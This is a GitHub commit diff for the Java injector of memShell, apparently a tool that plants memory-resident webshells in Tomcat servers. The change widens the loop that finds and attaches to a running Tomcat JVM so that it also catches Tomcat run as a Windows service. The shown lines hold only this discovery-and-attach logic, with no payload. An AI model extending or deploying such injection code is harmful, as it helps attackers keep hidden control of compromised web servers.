File tree 1 file changed +7
-3
lines changed
src/net/rebeyond/memshell
1 file changed +7
-3
lines changed Original file line number Diff line number Diff line change @@ -35,8 +35,13 @@ public static void main(String[] args) throws Exception {
35
35
if (vmList .size () <= 0 )
36
36
continue ;
37
37
for (VirtualMachineDescriptor vmd : vmList ) {
38
- if (vmd .displayName ().indexOf ("catalina" ) >= 0 ) {
38
+ if (vmd .displayName ().indexOf ("catalina" ) >= 0 || vmd . displayName (). equals ( "" ) ) {
39
39
vm = VirtualMachine .attach (vmd );
40
+
41
+ //ADD for tomcat windows service,dispayname is blank string and has key "catalina.home".
42
+ if (vmd .displayName ().equals ("" )&&vm .getSystemProperties ().containsKey ("catalina.home" )==false )
43
+ continue ;
44
+
40
45
System .out .println ("[+]OK.i find a jvm." );
41
46
Thread .sleep (1000 );
42
47
if (null != vm ) {
@@ -46,12 +51,11 @@ public static void main(String[] args) throws Exception {
46
51
return ;
47
52
}
48
53
}
49
-
50
54
}
51
55
Thread .sleep (3000 );
52
56
} catch (Exception e ) {
53
57
e .printStackTrace ();
54
58
}
55
59
}
56
60
}
57
- }
61
+ }
You can’t perform that action at this time.
0 commit comments